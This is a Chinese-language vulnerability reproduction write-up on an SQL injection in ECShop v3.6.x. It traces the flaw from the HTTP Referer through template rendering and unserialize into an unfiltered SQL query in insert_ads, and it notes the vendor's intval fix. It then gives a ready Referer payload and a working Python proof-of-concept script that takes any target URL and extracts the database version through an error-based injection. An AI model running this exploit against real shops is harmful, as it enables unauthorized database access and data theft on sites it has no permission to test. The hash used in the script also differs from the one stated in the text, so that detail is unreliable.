ECshop v3.6.x SQLinjection漏洞复现

Report 漏洞复现

0x01:漏洞分析

ECshop爆出存在SQL注入和远程命令执行两个漏洞,这次先分析注入的触发点与执行链。漏洞的触发点位于/ecshop/ecshop/user.php的第328行:

<?php
elseif ($action == 'login')
{
    if (empty($back_act))
    {
        if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
        {
            $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
        }
        else
        {
            $back_act = 'user.php';
        }

    }


    $captcha = intval($_CFG['captcha']);
    if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
    {
        $GLOBALS['smarty']->assign('enabled_captcha', 1);
        $GLOBALS['smarty']->assign('rand', mt_rand());
    }

    $smarty->assign('back_act', $back_act);
    $smarty->display('user_passport.dwt');
}
?>

首先要知道assign()和display()两个函数的作用,assign()会把变量注册到模板里,display()函数用于读取模板,而user_passport.dwt模板里的变量back_act来自HTTP头的Referer。我们跟进display()函数,位于/ecshop/ecshop/includes/cls_template.php第100行:

<?
function display($filename, $cache_id = '')
    {
        $this->_seterror++;
        error_reporting(E_ALL ^ E_NOTICE);

        $this->_checkfile = false;
        $out = $this->fetch($filename, $cache_id);

        if (strpos($out, $this->_echash) !== false)
        {
            $k = explode($this->_echash, $out);
            foreach ($k AS $key => $val)
            {
                if (($key % 2) == 1)
                {
                    $k[$key] = $this->insert_mod($val);
                }
            }
            $out = implode('', $k);
        }
        error_reporting($this->_errorlevel);
        $this->_seterror--;

        echo $out;
    }
?>

fetch()会把assign()函数注册的变量带到模板里,换句话说现在$out的值就是HTTP头的Referer。如果Referer里带了_echash就能进到insert_mod()函数里,而_echash是个固定值,V3.X和V4.0都是"45ea207d7a2b68c49582d2d22adf953a"。继续跟进insert_mod()函数:

<?
function insert_mod($name) // 处理动态内容
    {
        list($fun, $para) = explode('|', $name);
        $para = unserialize($para);
        $fun = 'insert_' . $fun;

        return $fun($para);
    }
?>

它会分割传进来的变量,将"|"符号右边的字符串反序列化,带入到符号左边与"insert_"拼接成的函数动态调用。到这步为止可以清晰的发现通过Referer带进来的值完全没有过滤,只要找个合适的"insert_XXX"函数就能拼接成完整的漏洞执行链。这个合适的函数就在/ecshop/ecshop/includes/lib_insert.php的第136行:

<?
function insert_ads($arr)
{
    static $static_res = NULL;

    $time = gmtime();
    if (!empty($arr['num']) && $arr['num'] != 1)
    {
        $sql  = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
                    'p.ad_height, p.position_style, RAND() AS rnd ' .
                'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
                'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
                "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
                    "AND a.position_id = '" . $arr['id'] . "' " .
                'ORDER BY rnd LIMIT ' . $arr['num'];
        $res = $GLOBALS['db']->GetAll($sql);
    }
?>

变量被直接带入到查询语句中,通过精心构造的POC就能实现SQL注入攻击。官方在部分V3.6.x和V4.0的版本修复了该漏洞,他们对insert_ads()函数里的变量做了过滤:

<?
function insert_ads($arr)
{
    static $static_res = NULL;

    $arr['num'] = intval($arr['num']);
    $arr['id'] = intval($arr['id']);
    $time = gmtime();
    ......
}
?>

新增的intval()函数将变量强制转换成int类型,避免变量未经过滤直接带入到SQL查询语句。

   

0x02:漏洞构造

因为最开始会校验Referer里有没有_ehash的值,所以需要带上cls_template.php里_ehash变量的值:

45ea207d7a2b68c49582d2d22adf953a

再根据漏洞执行链的顺序,添加序列化后insert_ads()函数需要的值:

45ea207d7a2b68c49582d2d22adf953a|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -";s:2:"id";i:1;}

用insert_mod()函数动态加载insert_ads(),就需要拼接字符串"ads",有趣的是insert_mod()通过explode()函数分割Referer之前,display()就会将分割左边部分的_ehash消除掉,因此"ads"只需要拼接在_ehash变量后面就行了。这就是最终可用的payload:

Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -";s:2:"id";i:1;}

   

0x03:漏洞验证

#!/usr/bin/dev python
# -*- coding:utf-8 -*-
# author: Lion Ei'Jonson
# date:2018/10/15

import requests
import sys
import base64
import re

def useage():
    print("[*]Usage: python %s http://www.lioneijonson.cn" % sys.argv[0])

def get_result(url):
    payload = "YToyOntzOjM6Im51bSI7czo3MjoiMCwxIHByb2NlZHVyZSBhbmFseXNlKGV4dHJhY3R2YWx1ZShyYW5kKCksY29uY2F0KDB4N2UsdmVyc2lvbigpKSksMSkgLS0gIjtzOjI6ImlkIjtpOjE7fQ=="
    payload = base64.b64decode(payload)
    payload = "554fcae493e564ee0dc75bdf2ebf94caads|" + str(payload, 'utf-8')
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
        'Accept-Encoding': 'gzip, deflate',
        'Referer': payload,
        'Content-Type': 'application/x-www-form-urlencoded'}
    response = requests.get(url, headers=headers).content.decode('utf-8')
    match = re.search(r"XPATH syntax error: (.*)" ,response)
    return match.group(1)

if __name__ == '__main__':
    if len(sys.argv) != 2:
        useage()
        sys.exit()
    if(sys.argv[1][:4]) != "http":
        url = "http://" + sys.argv[1] + "/user.php"
    else:
        url = sys.argv[1] + "/user.php"
    try:
        print(get_result(url))
    except:
        print("[!]The target is not vnlnerable")
        sys.exit()